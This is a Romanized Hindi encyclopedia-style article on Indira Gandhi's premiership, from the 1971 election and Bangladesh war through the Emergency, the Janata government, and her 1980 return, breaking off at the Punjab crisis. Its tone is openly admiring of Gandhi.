chitr:Blockquote-open.gif aj tak bharat ke jitane bhi pradhanamantri hue haian. un sabhi ki anek visheshataean ho sakati haian. lekin iandira gaandhi ke roop mean jo pradhanamantri bharat ko prapt hua, vaisa pradhanamantri abhi tak doosara nahian hua hai kyoanki ek pradhanamantri ke roop mean iandira gaandhi ne vibhinn chunautiyoan ka muqabala karane mean saphalata prapt ki. yuddh ho, vipaksh ki nitiyaan hoan, kootaniti ka aantarrashtriy maidan ho athava desh ki koee samasya ho- iandira gaandhi ne svayan ko saphal sabit kiya. chitr:Blockquote-close.gif

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iandira gaandhi ki parti mean siandiket ki parti se zyada sadasy sankhya thi. is karan vah pradhanamantri, sath hi apani parti ki adhyaksh bhi bani rahian. lekin iandira gaandhi ab siandiket se poori tarah mukt ho jana chahati thian. isake lie yah avashyak tha ki vah pun: janadesh lean aur nee parti adhyaksh ke roop mean chunav sabha mean jaean. madhyavadhi chunav ki ghoshana karane se poorv iandira gaandhi ne kuchh aise karyoan ko sanpadit kiya jisase chunavoan ke dauran unhean labh mil sake. unhoanne madhyavadhi chunav ki ghoshana se poorv nimnavat qadam uthae.

• baiankoan ke rashtriyakaran ka kary poorn kiya gaya. sansad mean bahumat tha aur rashtrapati vi.vi. giri ne adhyadesh ko svikrit kar liya. isake poorv nyayalay ne baiankoan ke rashtriyakaran ko avaidh thaharaya tha. baikoan ke rashtriyakaran ke bad bharat sarakar ki rashtriy arthik niti ke aantargat samajik sarokar ke kary hone lage. madhyam varg tatha alp madhyam varg ke logoan ko rozagaraparak rrin milane ka marg saf ho gaya.
• bhoomi hadabandi yojana ko poori shakti ke sath lagoo kiya gaya. isase garib kisanoan ko achchha labh mila.
• agast 1970 mean raja-maharajaoan ko diya jane vala privipars samapt kar diya gaya. is prakar karo doan rupayoan ki bachat sanbhav huee aur yah dhan desh ke sarvahara varg ke kam aya. iandira gaandhi ke is qadam ka gariboan aur shoshit varg ke logoan ne kafi samarthan kiya.
• chauthi panchavarshiy yojana ko lagoo kiya gaya taki pandit neharu ne rashtr ke vikas ka jo madhyam taiyar kiya tha, use kriyaanvit kiya ja sake. chauthi panchavarshiy yojana bajat dugana kar diya gaya.

is prakar iandira gaandhi ne lok kalyanakari karyoan ke madhyam se janata ke madhy apani ek nee pahachan qayam ki. lekin unake vishvast saansadoan ki sthiti paryapt nahian thi. vah chahati thian ki ne vidheyakoan ke lie unhean doosari partiyoan ka muanh n takana p de. is prakar chunav se poorv iandira gaandhi ne apana abhamandal taiyar kiya aur 27 disanbar, 1970 ko lokasabha bhang karake madhyavadhi chunav ka marg prashast kar diya. ek varsh poorv lokasabha bhang karane ka unaka nirnay sahasik tha.

madhyavadhi chunav

iandira gaandhi madhyavadhi chunav bhi karava sakati haian, vipaksh ko isaka aandesha nahian tha. lokasabha bhang hone ki ghoshana ne unhean bhauchakka kar diya. unhoanne n to koee taiyari ki thi aur n hi koee vyooh rachana karane mean saphal hue the. unake pas paryapt samay bhi nahian tha jabaki janata ke pas jane ke lie samuchit kary yojana ki avashyakata thi. aisi sthiti mean vipaksh is kasauti par khara nahian utar saka aur sangathanavadi kaangres ke pas bhi koee mudda nahian tha. is karan vipaksh ne jahaan 'kaangres hatao' ka nara diya, vahian sangathan kaangres ne iandira hataoan ko hi apani chunavi muhim ka mukhy mudda bana liya lekin janata thos karyoan ki kary yojana chahati thi. iandira gaandhi ne 'garibi hataoan' ke nare ke sath samajavadi siddhaantoan ke anurup chunavi ghoshana patr taiyar karaya 'garibi hatao' ka nara lokapriy sabit hua. unake poorvavarti lokahit karyoan ki prishthabhoomi ne bhi chamatkari bhoomika nibhaee. iandira gaandhi ke paksh mean chunavi mahaul banane laga aur iandira gaandhi ko bahutamat prapt ho gaya. unhean 518 mean se 352 sitoan ki prapti huee.

chunav mean vijay hasil karane ke lie kaangres (o), janasangh evan svatantr parti ne ek gathabandhan banaya jisaka nam 'graiand alayans' rakha gaya tha. graiand alayans ko bhari kshati huee aur janata ne unhean nakar diya. janata ne sabako dar-kinar karake iandira gaandhi ko bahumat pradan kiya. keandr mean iandira gaandhi ki sthiti behad mazaboot ho gee thi. ab vah svatantr phaisale karane mean svatantr thian. bharat ka nam aantarrashtriy star par bhi badha. duniya bhar ke any rashtr bharat ki or utsuk drishti se dekh rahe the. kyoanki rajanitik sthirata prapt karane ke bad unhean ummid thi ki bharat vikas path par badhate hue arthik svavalanban bhi prapt kar lega.

pakistan yuddh

pakistan banane ke sath hi vahaan apratyaksh roop se ek bantavara ho gaya tha- poorvi pakistan aur pashchimi pakistan ne bhasha ki shreshthata ke adhar par poorvi pakistan ke sath sautela vyavahar karana aranbh kar diya. bangala bhashi pakistaniyoan ka shoshan hone laga aur unhean pakistan mean doyam darje ka nagarik mana jane laga. pashchimi pakistan ke logoan mean shreshthata ka danbh tha. is karan pakistan banane ke bad jo vikas kary hua, vah pashchimi pakistan mean hi hua. aise mean bangala bhashi pakistaniyoan ki arthik sthiti mean bhi nirantar giravat rahi. is sautelepan ke viruddh poorvi pakistan ne avaz buland ki isaka parinam yah hua ki unaki avaz ko kuchalane ke lie kee bar sainik karravaee bhi ki gee. atatah shekh mujiburrahaman ke netritv mean samast poorvi pakistan sautelepan aur shoshan ke viruddh ekajut ho gaya. pakistan ke sainy shasak yahiya khan ne poorvi pakistan mean sena bhej di. in sainikoan ne poorvi pakistan mean amanaviyata ki hadean par karate hue nrishansata ka jo nanga nrity kiya, usase iansaniyat sharmasar ho gee. thumb|250px|left|iandira gaandhi stamp in sainikoan ne poorvi pakistan ki bahoo-betiyoan ke sath samoohik roop se balatkar kie. logoan ka qatle-am karate hue dudh-muanhe bachchoan ko bhi sanginoan par uchhala gaya. poorvi pakistan ke bhayabhit log bharat ke simavarti praantoan mean sharan lene ke lie majaboor ho ge. 1971 ke navanbar mah tak poorvi pakistan ke ek karo d sharanarthi bharat mean pravisht ho chuke the. in sharanarthiyoan ki udar poorti karana tab bharat ke lie ek samasya ban gee thi. aisi sthiti mean bharat ne pakistan ke barbar rukh ke viruddh aantarrashtriy star par manavata ke hit mean avaz buland ki. ise pakistan ne apane desh ka aantarik mamala batate hue poorvi pakistan mean ghinauni sainik karravaee jari rakhi. chhah mah tak vahaan daman chakr chala.

isake pashchat pakistan ne 3 disanbar, 1971 ko bharat ke vayu sena thikanoan par hamala karate hue use yuddh ka nyota de diya. pashchimi bharat ke sainik addoan par kiya gaya hamala pakistan ki aitihasik parajay ka karan bana. iandira ji ne chaturatapoorvak tinoan senadhyakshoan ke sath milakar yah yojana banaee ki unhean do taraph se akraman karana hai. ek akraman pashchimi pakistan par hoga aur doosara akraman tab kiya jaega jab poorvi pakistan ki muktivahini senaoan ko bhi sath mila liya jaega. janaral je.es.aro da ke netritv mean bharatiy thal sena muktivahini ki madad ke lie matr gyarah dinoan mean dhaka tak pahuanch gee. pakistan ki chhavani ko charoan or se gher liya gaya. tab pakistan ko laga ki usaka mitr amerika usaki madad karega. usane amerika se madad ki guhar lagaee. amerika ne dadagiri dikhate hue apana satavaan be da bangal ki kha di ki or ravana kar diya. tab iandira gaandhi ne fild marshal janaral m aaunek sh aau se paramarsh karake bharatiy sena ko apana kam shighrata se nipatane ka adesh diya.

13 disanbar ko bharat ki senaoan ne dhaka ko sabhi dishaoan se gher liya. 16 disanbar ko janaral niyaji ne 93 hazar pak sainikoan ke sath hathiyar dal die. unhean bandi banakar bharat le aya gaya. shighr hi poorvi pakistan ke roop mean baangladesh ka janm hua aur pakistan parajit hone ke sath hi sath do bhagoan mean vibhajit bhi ho gaya. bharat ne baangladesh ko apani or se sarvapratham manyata bhi pradan kar di. bharat ne yuddh viram ghoshit kar diya kyoanki usaka uddeshy poorn ho chuka tha. isake bad kee any rashtroan ne bhi baangladesh ko ek ne rashtr ke roop mean manyata de di.

pakistan ke pas sena nahian bachi thi, isalie yuddh viram svikar karana usaki anivary majaboori thi. amerika aur pakistan ke any mitr sena rahit desh ki kya sahayata kar sakate the. dakshin eshiya mean bharat ek mahashakti ke roop mean avatarit ho chuka tha. bharat par kisi any desh dvara hamala kie jane ki sthiti mean soviyat sangh ne ganbhir parinam bhugatane ki chetavani jari kar di. aise mean amerika bhi chuppi lagakar baith gaya. bharat ne pakistan ki saik doan varg mil bhoomi par apana kabza kar liya tha aur usake lagabhag ek lakh sainik bandi bana lie the.

yuddh mean sharmanak har jhelane ke bad yahiya khan ke sthan par zulphikar ali bhutto pakistan ke ne rashtrapati banae ge. unhoanne bharat ke samaksh shaanti varta ka prastav rakha jise iandira gaandhi ne svikar kar liya. shimala mean huee varta ke dauran nimnalikhit muddoan par shimala samajhauta hua.

1. bharat dvara pakistan ke bandi banae ge sainikoan ko riha kar diya jaega aur pakistan ki bhoomi bhi lauta di jaegi.
2. kashmir ke jin mahattvapoorn samarik sthanoan ko bharat ne hasil kiya hai, vahaan bharat ka adhipaty bana rahega.
3. yadi bhavishy mean koee vivad paida hota hai to kisi bhi any desh ki madhyasthata svikary nahian hogi tatha vivad ko shimala samajhaute ki shart ke anusar hi hal kiya jaega.

chahuanmukhi vikas

pakistan se yuddh ke bad iandira gaandhi ne apana sara dhyan desh ke vikas ki or keandrit kar diya. sansad mean unhean bahumat prapt tha aur nirnay lene mean svatantrata thi. unhoanne aise udyogoan ko rekhaankit kiya jinaka kushal upayog nahian ho raha tha. unamean se ek bima udyog tha aur doosara koyala udyog. bima kanpaniyaan bhari munapha arjit kar rahi thian. lekin unaki pooanji se desh ka vikas nahian ho raha tha. vah pooanji niji hathoan mean ja rahi thi. bima kanpaniyoan ke niyamoan mean paradarshita ka abhav hone ke karan janata ko vaise labh nahian prapt ho rahe the, jaise hone chahie the. lihaza agast, 1972 mean bima karobar ka rashtriyakaran kar diya gaya. isi prakar koyala udyog mean bhi shramikoan ka shoshan kiya ja raha tha. us samay koyala ek paranparagat oorja ka srot tha aur usaki barbadi ki ja rahi thi. koyala khanoan ki khudaee vaijnanikatapoorn nahian thi. is karan khan durghatanaoan mean saik doan shramik ek sath kal-kavalit ho jate the. koyala udyog ek maphiya giroh ke hathoan mean sanchalit hota nazar a raha tha. sarakar ko rel evan udyogoan ke lie koyala apoorti hetu in par ashrit hona p data tha. atah iandira gaandhi ne koyala udyog ka bhi janavari 1972 mean rashtriyakaran kar diya. unake in donoan karyoan ko apar janasamarthan prapt hua. isake atirikt iandira gaandhi ne nimnavat samajopayogi qadam uthae jinaki ummid lok kalyanakari sarakar se ki ja rahi thi.

1. hadabandi qanoon ko poori tarah lagoo kiya gaya. atirikt bhoomi ko laghu krishakoan evan bhoomihinoan ke madhy vitarit kiya gaya.
2. keandr ki anushansa par rajy sarakaroan ne bhi vidheyak parit karake in qanoonoan ko rajy mean lagoo karane ka kary kiya.
3. arthik roop se kamazor vargoan ko sasti daroan par khadyann pradan karane ki yojana ka shubharanbh kiya gaya.
4. gramin baiankoan ki sthapana anivary ki gee aur unhean yah nirdesh diya gaya ki kisanoan evan kutir udyogoan ki sthapana karane vale logoan ko sasti byaj dar par pooanji upalabdh karavaean.
5. jv aauit st aauk kanpaniyoan dvara jo rajanitik chanda pradan kiya jata tha, us par rok laga di gee taki dhan ka najayaz upayog roka ja sake.
6. paramanu bam banane ki kshamata hasil karane ke lie rajasthan ke pokaran mean paramanu visphot kiya gaya.
7. iandira gaandhi ne yah prastav parit karavaya ki sansad mean parit hue vidheyakoan ko nirast karane ka adhikar uchchatam nyayalay ko nahian hoga.

apatakal ke poorv ki sthitiyaan

iandira gaandhi kalyanakari nitiyoan ke karan nimn varg ko fayada ho raha tha lekin pooanjipatiyoan ko sarakari nitiyoan se ghor nirasha ho rahi thi. isi prakar jin raje-rajava doan ke viruddh karravaee ki gee thi, ve bhi varg sarakar ki nitiyoan ka samarthak nahian raha kyoanki kimatoan mean kafi vriddhi ho rahi thi aur log badhati mahangaee ke karan jivan star banae rakhane mean saphal nahian ho pa rahe the. desh ne yuddh ka arthik bojh bhi jhela tha. ek karo d baangladesh sharanarthiyoan ko sharan dene ke karan sankat tab badh gaya jab do varshoan se varsha nahian huee. aantarrashtriy bazar mean petroliyam ke mooly mean nirantar vriddhi hone se bhi bharat mean mahangaee badh rahi thi aur desh ka videshi mudra bhandar petroliyam ayat karane ke karan teji se ghatata ja raha tha. arthik mandi se udyog dhandhe bhi chaupat ho rahe the. aisi sthiti mean berozagari kafi badh chuki thi aur sarakari karmachari mahangaee se trast hone ke karan vetan mean vriddhi ki maang kar rahe the. sarakari karmiyoan ke roop mean sabase b di h datal rel karmachariyoan ki thi. inaka aandolan 22 dinoan tak chala. is karan jahaan yatriyoan ko bhari pareshani huee, vahian mal ka parivahan bhi badhit hua.

rel ka chakka rukane se desh ki pragati ka chakr bhi tham gaya tha. rel karmachariyoan ko chetavani di gee lekin h datal jari rahi. aise mean sarakar ne h datal ko gairaqanooni qarar dete hue kathor aur damanatmak karravaee ki. hazaroan karmachariyoan ke avas khali karavae ge aur unhean naukari se bhi barkhast kar diya gaya. isaka parinam yah hua ki karmachari evan shramik varg iandira gaandhi se naraz ho gaya. samastipur ki ek sabha mean bam visphot hua aur lalit narayan mishr ki bam dhamake mean mrityu ho gee. idhar sarakar ke viruddh bhrashtachar ke arop bhi lagane lage. sarakar ke khilaf desh bhar mean aandolan kie ja rahean the. udhar iandira gaandhi apane chhote putr sanjay gaandhi ko rajaniti mean le aee thian. yuva sanjay gaandhi ne asanvaidhanik dhang se sarakar chalane ka kary aranbh kar diya. sanjay gaandhi ke prati iandira gaandhi ki vaisi hi nishtha thi jaisi dhritarashtr ki duryodhan ke prati thi. putr moh ke karan iandira gaandhi ne sanjay ko 50,000 maruti kar nirman ka laiseans bhi pradan kar diya. aisi sthiti mean vipakshi daloan ko sunahara avasar mil gaya. unhoanne bhi aandolanakariyoan ki pith thapathapana aranbh kar diya.

gujarat aandolan

sarvapratham virodhi rajaniti aur asantosh se utpann hiansak aandolan ka sootrapat gujarat se hua jo behad shaantipriy rajy mana jata tha. yahaan chhatroan ne hiansak aandolan kie aur vipaksh ne bhi isamean mahattvapoorn bhoomika nibhaee. 1974 mean arajakata ki sthiti utpann ho gee. agajani aur loot ki ghatanaoan ko saream aanjam diya ja raha tha. kabhi-kabhi pulis ko vivashata mean lathi charj bhi karana p d raha tha. aandolanakariyoan ne gujarat vidhanasabha ko zabaran tyagapatr dene ke lie vivash kar diya. gujarat ke halat bad se badatar ho rahe the. aisi sthiti mean moraraji desaee ne amaran anashat aranbh kar diya. iandira gaandhi ne rajy sarakar ko barkhast karake vahaan rashtrapati shasan laga diya. joon, 1976 mean chunav karavae jane ki ghoshana bhi kar di gee. is prakar aandolanoan ke karan gujarat mean nirvachit sarakar ko bhang karana p da. isase doosare rajyoan tak bhi galat sandesh gaya aur isaki pratikriya bihar mean huee.

chitr:Blockquote-open.gif pratyek iansan apana ek svatantr vyaktitv lekar paida hota hai. lekin vah apane un karyoan se jana jata hai jinase usake gun-avagun pradarshit hote haian. yadi iandira gaandhi ke kartritv ki samiksha ki jae to yah kahana uchit hoga ki aisi shakhsiyatean shatabdiyoan mean hi paida hoti haian. jinhoanne iandira gaandhi ke pradhanamantritv kal ko dekha hai, ve log yah manate haian ki iandira gaandhi mean apar sahas, nirnay shakti aur dhairy tha. vah bhi apane pita pandit neharoo ki bhaanti svapnadrashta aur mahattvakaankshi thian. chitr:Blockquote-close.gif

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bihar aandolan

bihar mean bhi aandolan ka sootrapat chhatr aandolan ke roop mean hua. march, 1974 mean chhatroan ne bihar vidhanasabha ka gherav kiya. chhatr aandolan ko kuchalane ke lie pulis ne lathi tatha goli ka bhi bejhijhak prayog kiya. is aandolan mean vipakshi daloan ne chhatroan ka sath dena shuroo kar diya. aisi sthiti mean hiansak aandolan aranbh ho ge tatha ek saptah mean hi do darjan se adhik log apani ziandagi se hath dho baithe. jayaprakash narayan jo rajaniti se sanyas le chuke the, vah sakriy ho ge aur unhoanne aandolan ki kaman sanbhal li. jis prakar aangrezoan ke viruddh asahayog aandolan chalaya gaya tha, usi tarj par jayaprakash narayan ne logoan ko ukasaya ki rajy ki vyavastha chaupat kar di. lekin iandira ji ne gujarat vali galati ko bihar mean nahian doharaya.

nirvachan par muqadama

iandira gaandhi par ilahabad uchch nyayalay mean ek muqadama chal raha tha jo chunav mean galat sadhan apanakar vijay hasil karane se sanbandhit tha. 12 joon, 1975 ko rajanarayan dvara dayar kie ge muqadame ka phaisala ilahabad uchch nyayalay ke nyayadhish shri sianh ne sunaya. usake anusar iandira gaandhi ka n keval chunav radd kiya gaya balki unhean chhah varshoan ke lie chunav l dane se bhi pratibandhit kar diya gaya. un par arop tha ki unhoanne chunav mean sarakari mashinari ka durupayog kiya tha aur nirvachan ayog dvara nirdharit rashi se adhik rashi ka vyay chunav prachar mean kiya tha. is phaisale ke viruddh unhean apil karane ka samay diya gaya tha. aise mean iandira gaandhi ne phaisale ke khilaf sarvochch nyayalay mean apil ki aur vahaan sunavaee ke lie 14 julaee ka din mukarrar kar diya gaya.

je.pi. aur virodhi dal ekajut hokar iandira gaandhi se naitikata ki duraee dekar istifa dene ki maang karane lage. is bich 24 joon, 1975 ko mamale ki sanvaidhanik vyavastha karate hur avakash prapt nyayamoorti ne kaha ki sunavaee hone tak iandira gaandhi pradhanamantri pad par rah sakati haian aur sansad mean bol bhi sakati haian parantu unhean matadan ka koee adhikar nahian hoga. lekin vipaksh yah mudda hath se nahian jane dena chahata tha. unhean 14 julaee tak ka bhi iantazar gavara nahian tha jab sarvochch nyayalay mean sunavaee honi thi. jayaprakash narayan ki neharoo parivar se dushmani ke sushupt pret jag ge. unhoanne aandolan ko poore desh mean phaila diya. iandira gaandhi ke viruddh prachar kiya jane laga. hazar bar kaha gaya jhooth bhi sach jaisa lagane lagata hai. janata ne bhi ghrinit prachar par vishvas karana aranbh kar diya. ek vyakti ke khilaf itane log galat nahian ho sakate- janata is manovijnan ka shikar hokar yah bhool gee ki jo mamala sarvochch nyayalay mean lanbit hai, usake lie hay tauba machane ki kya zaroorat.

apatakal

15 joon, 1975 ko je.pi. aur samarthik vipaksh ne aandolan ko ugr roop de diya. sath hi yah tay kiya gaya ki poore desh mean savinay avajna andolan chalaya jae aur pradhanamantri avas ko bhi gher liya jae. avas mean maujood logoan ko nazaraband karake kisi ko bhi aandar pravisht n hone diya jae. inhian paristhitiyoan ke karan pradhanamantri iandira gaandhi ne 25 joon, 1975 ko tatkalin rashtrapati fakharuddin ali ahamad se apatakal lagoo karane ki hastaksharit svikriti prapt kar li. is prakar 26 joon, 1975 ki pratah desh mean apatakal ki ghoshana kar di gee. apatakal lagoo hone ke bad jayaprakash narayan, moraraji desaee aur any saik doan chhote-b de netaoan ko giraftar karake jel mean dal diya gaya. aisa mana jata hai ki apatakal ke dauran ek lakh vyaktiyoan ko desh ki vibhinn jeloan mean band kiya gaya tha. inamean matr rajanitik vyakti hi nahian, aparadhik pravritti ke log bhi the jo aise aandolanoan ke samay lootapat karate haian. sath hi bhrasht kalabazariyoan aur histrishitar aparadhiyoan ko band kar diya gaya.

iandira gaandhi ka yah uddeshy tha ki apatakal se apani kursi bachane ke sath-sath dhulamul prashasan ko chak-chauband kiya jae. aise mean kee sarakari karmachariyoan ko nilanbit bhi kiya gaya. imarjeansi ke dauran sarakari mashinari mean sudhar hua. karmachari samay par ane-jane lage aur rishvatakhori ki ghatanaean kafi kam ho geean, trenean bhi samay se chalane lagi thian, lekin desh mean apatakal ka atank vyapt tha. apatakal mean iandira gaandhi ke chhote putr sanjay gaandhi ka vyavahar bhi kafi amaryadit raha. rashtrahit ke lie desh ki abadi niyantrit karane hetu nasabandi kie jane ki bhi yojana thi lekin usaka kafi durupayog kiya gaya. jin yuvakoan ki shadi bhi nahian huee thi, unaki bhi nasabandi kar di gee. isi prakar rajy star par rajanitijnoan ne apatakal ke nam par vyaktigat shatruta nikalate hue virodhiyoan ko siankhachoan ke pichhe dal diya. b de adhikariyoan dvara janata ko najayaz roop se pareshan bhi kiya gaya.

apatakal mean sabase zyada akharane vali bat thi- lokatantr ke chauthe stanbh ko seansaraship lagakar kamazor kar dena. akhabar, rediyo aur ti.vi. par seansar laga diya gaya. sarakar ke viruddh kuchh bhi prakashit nahian kiya ja sakata tha. maulik adhikar lagabhag samapt ho ge the. abhivyakti ki azadi par rok lagana ek b di galati thi. kyoanki yadi pratibandh nahian hota to janata ke samane yah saty prakat hota ki apatakal lagae jane ke pichhe karan kya the. janata ki pratikriya bhi iandira gaandhi tak nahian pahuanch rahi thi. is kal ke dauran aisi ghatanaean bhi ghatian jo bahut sharmanak thian. iandira gaandhi tak jo khabarean a rahi thian, unase unhean yah laga ki janata apatakal ki upalabdhiyoan se khush hai. chatukaroan ne unhean soochit kiya ki vah janata mean lokapriy haian aur yadi chunav karae jaean to unhean vijayashri avashy prapt hogi. tab iandira ji ne 18 janavari, 1977 mean lokasabha ke chunav karae jaeange. isake sath hi rajanitik qaidiyoan ki rihaee ho gee. midiya ki svatantrata bahal ho gee. rajanitik sabhaoan aur chunav prachar ki azadi de di gee.

lekin iandira gaandhi ne sthiti ka sahi moolyakann nahian kiya tha. jin netaoan ko apatakal ke dauran bandi banaya gaya tha, unhoanne riha hone ke bad jel mean bhugati jyadatiyoan aur atyacharoan ka vivaran janata ko diya. janata ne bhi apatakal ki pi da jheli thi. udhar vipaksh adhik sashakt hokar samane a gaya. janasangh, kaangres-o, samajavadi parti aur lokadal ne milakar ek nee parti ka gathan kiya jisaka nam 'janata parti' rakha gaya. is parti ko akali dal, di.em.ke. tatha samyavadi parti (em) ka bhi sahayog prapt ho gaya. iandira ji ke sahayogi jagajivan ram virodhiyoan se ja mile. inaka dalit aur harijan varg par kafi prabhav tha. darasal jagajivan ram ne us samay ati mahattvakaanksha dikhaee thi jab ilahabad uchch nyayalay ne iandira gaandhi ke viruddh phaisala diya tha. jagajivan ram ne jab svayan ko pradhanamantri pad ka davedar ghoshit kiya tha tab iandira gaandhi ne unhean nazaraband karava diya tha. is karan jagajivan ram bhi janate the ki kaangres mean ab unaka koee bhavishy nahian rah gaya hai. nandini satpathi aur hemavati nandan bahuguna bhi iandira gaandhi ka sath chho d ge. 16 march 1977 ko lokasabha ke chunav sanpann hue.

janata parti ki satta

desh ki janata ne apatakal ki jyadatiyoan ke virodh mean iandira gaandhi ke khilaf matadan kiya. janata ko bhi yah ummid thi ki parivartan se sudhar avashy aega. unaki arthik sthiti sudharegi. lekin bharatiy janata ne us samay yah akalan nahian kiya tha ki janata parti mean jin daloan ke log haian, ve bhinn nitiyoan aur vicharoan se poshit rahe haian. is karan saiddhaantik roop se unamean matabhed haian.

parti satta se bahar

chunav prachar ke dauran iandira gaandhi ne hava ka rukh pahachan liya tha. vah samajh gee thian ki is bar ke chunav mean unhean nishchit roop se har ka samana karana hoga. uttari bharat ka daure karate hue unhoanne dekh liya tha ki unaki sabhaoan mean bhi d kafi kam hai aur logoan mean koee utsah nahian hai. chunav parinam ae. in parinamoan ne sabhi logoan ko ashchary mean dal diya. unaki parti satta se bahar ho gee. janata parti aur usake sahayogi daloan ko 542 mean se 330 sitean prapt hueean. iandira gaandhi ki parti matr 154 sthanoan par hi vijay prapt kar saki.

nirashajanak pradarshan

iandira gaandhi aisi pradhanamantri rahian jo apani sit tak nahian bacha paeean. inake putr sanjay gaandhi ko bhi har ka samana karana p da. uttari bharat mean iandira kaangres ka pradarshan behad nirashajanak tha. sat rajyoan ki 234 sitoan mean se iandira kaangres ko matr 2 sitean hi prapt ho sakian. dakshin bharat ki sthiti iandira gaandhi ke anukool thi. yahaan apatakal mean jyadatiyaan bhi nahian huee thian. dakshin bharat ke rajyoan ko apatakal ke dauran lagoo hue bis sootriy karyakramoan se kafi labh bhi hua tha. 1971 ke chunav ki tulana mean is bar vahaan 22 sitean adhik milian aur aank da 70 se badhakar 92 ho gaya.

janata parti mean jashn ka mahaul tha aur is bat ko lekar chiantan ho raha tha ki agala pradhanamantri kaun hoga. us samay pradhanamantri pad ke tin prabal davedar samane ae the- chaudhari charan sianh, moraraji desaee aur jagajivan ram. pradhanamantri pad ko lekar tinoan dridh sankalp the. yahaan jayaprakash narayan ka ullekh karana prasangik hoga jo jivan ke shreshthatam kal se guzar rahe the. unaka abhamandal janata parti ke lie chamatkari tha. vah 'kiang mekar' ki sthiti prapt kar chuke the. yah sthiti kabhi mahatma gaandhi ko prapt huee thi. jayaprakash narayan ki sahamati se 23 march 1977 ko moraraji desaee pradhanamantri banae ge. is samay moraraji desaee ki umr 81 varsh ho chuki thi.

satta mean vapasi

thumb|250px|iandira gaandhi ki hatya ke samay ki sa di, chappalean aur baig iandira gaandhi satta se bahar ho chuki thian aur janata parti satta mean thi. chaudhari charan sianh tatha rajanarayan chahate the ki iandira gaandhi ko jel bhej diya jae lekin moraraji desaee purane kaangresi the aur ek zamane mean pandit neharoo ke sahayogi bhi the. moraraji desaee rajanitik dvesh ko vyaktigat dvesh mean parivartit nahian karana chahate the. aisi sthiti mean rajanarayan zaroorat se zyada tilamila rahe the. lekin moraraji desaee ki salah se age jakar kuchh bhi karana unhean asanbhav nazar a raha tha. kaangres ko ek any vibhajan ki trasadi bhi bhogani p di. brahmanand reddi aur vaee.vi. chauhan ne apane kheme ke sath iandira gaandhi se kinara kar liya. unhean laga ki iandira gaandhi ka karishma samapt ho chuka hai. kaangres parti mean unaka koee vishisht sthan nahian rah gaya hai. 1978 ke arambh mean shrimati gaandhi ke samarthak kaangres parti se alag ho ge aur kaangres-aee ya kaangres-ian (ian se iandira) parti ki sthapana ki.

iandira gaandhi par janata parti ke shasanakal mean anek arop lagae ge aur kee kamishan jaanch ke lie niyukt kie ge. inamean 'shah kamishan' sabase ullekhaniy mana jata hai. apatakal mean tathakathit aparadhik karyoan ke lie un par desh ki kee adalatoan mean muqadame qayam kie ge. sarakari bhrashtachar ke arop mean shrimati gaandhi kuchh samay tak jel mean rahian. in jhatakoan ke bavazood navambar 1978 mean vah nee sansadiy sit se chunav jitane mean kamayab rahian aur unaki kaangres-ian parti dhire-dhire phir se mazaboot hone lagi. sattaroodh janata parti mean aantarkalah ke karan agast 1979 mean sarakar gir gee. jab janavari 1980 mean lokasabha ke lie chunav hue to shrimati gaandhi aur unaki parti bhari bahumat se satta mean laut aee. iandira aur unake putr ke khilaf chal rahe sabhi qanooni muqadame vapas le lie ge. bharat mean ek nari ke sath jo vyavahar ho raha tha, vah bharatiy paranpara ke anukool nahian tha. is karan logoan ko iandira gaandhi ke sath sahanubhooti ho rahi thi. udhar janata parti se janata ka bhi mohabhang hone laga tha. janata parti sarakar pratyek morche par viphal sabit ho rahi thi. desh ko vikas ke nam par janata parti ke aantarik jhag doan ka upahar prapt ho raha tha.

kaangres parti ki sarakar

abhi tin varsh bhi poorn nahian hue the ki janata parti mean dararean p d geean aur desh ko madhyavadhi chunav ka bhar jhelana p da. iandira gaandhi ne desh mean ghoom-ghoomakar chunav prachar ke dauran apatakal ke lie sharmiandagi ka ijahar kiya aur kam karane vali sudridh sarakar ka nara diya. logoan ko yah nara kafi pasand aya aur chunav ke bad natijoan ne yah pramanit bhi kar diya. iandira kaangres ko 592 mean se 353 sitean prapt hueean aur spasht bahumat ke karan keandr mean inaki sarakar bani. iandira gaandhi punah pradhanamantri ban geean. is prakar 34 mahinoan ke bad vah satta par dobara qabij hueean. janata parti ne 1977 mean satta mean ane ke bad kee rajyoan ki kaangres sarakar ko barkhast kar diya tha. us samay usane yah tark diya ki janata ka rujhan janata parti ke sath hai, atah ne chunav hone chahie. iandira gaandhi ne satta mean ane ke bad janata parti dvara aranbh ki gee paripati par chalakar un pradeshoan ki sarakaroan ko barkhast kar diya jahaan janata parti tatha vipaksh ka shasan tha. bad mean hue in rajyoan ke chunavoan mean kaangres ne abhootapoorv saphalata prapt ki. 22 rajyoan mean se 15 rajyoan mean kaangres parti ki sarakar ban gee. yah chunav joon 1980 mean sanpann hue the.

sanjay gaandhi ki mrityu

23 joon, 1980 ko pradhanamantri iandira gaandhi ke chhote putr sanjay gaandhi ki vayuyan durghatana mean mrityu ho gee. sanjay ki mrityu ne iandira gaandhi ko to dakar rakh diya. is hadase se vah svayan ko sanbhal nahian pa rahi thian. tab rajiv gaandhi ne payalet ki naukari chho dakar sanjay gaandhi ki kami poori karane ka prayas kiya. lekin rajiv gaandhi ne yah phaisala hraday se nahian kiya tha. isaka karan yah tha ki unhean rajaniti ke daanvapech nahian ate the. jab iandira gaandhi ki dobara vapasi huee tab desh mean asthirata ka mahaul utpann hone laga. kashmir, asam aur panjab atankavad ki ag mean jhulas rahe the. dakshin bharat mean bhi saanpradayik dangoan ka mahaul paida hone laga tha. dakshin bharat jo kaangres ka gadh ban chuka tha, 1983 mean vidhanasabha chunavoan mean kaangres ko aandhr pradesh aur karnatak mean har ka samana karana p da. vahaan kshetriy star ki partiyaan satta par qabij ho geean.

aaupareshan blyoo star

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panjab mean bhiandaravale ke netritv mean alagavavadi takatean sir uthane lagian aur un takatoan ko pakistan se hava mil rahi thi. panjab mean bhiandaravale ka uday iandira gaandhi ki rajanitik mahattvakaankshaoan ke karan hua tha. akaliyoan ke viruddh bhiandaravale ko svayan iandira gaandhi ne hi kh da kiya tha. lekin bhiandaravale ki rajanitik mahattvakaankshaean desh ko to dane ki had tak badh gee thian. jo bhi log panjab mean alagavavadiyoan ka virodh karate the, unhean maut ke ghat utar diya jata tha. bhiandaravale ko aisa lag raha tha ki apane netritv mean panjab ka alag astitv bana lega. yah kam vah hathiyaroan ke bal par kar sakata hai. yah iandira gaandhi ki galati thi ki 1981 se lekar 1984 tak unhoanne panjab samasya ke samadhan ke lie koee yuktiyukt karravaee nahian ki. is sanbandh mean kuchh rajanitijnoan ka kahana hai ki iandira gaandhi shakti ke bal par samasya ka samadhan nahian karana chahati thian.vah panjab ke 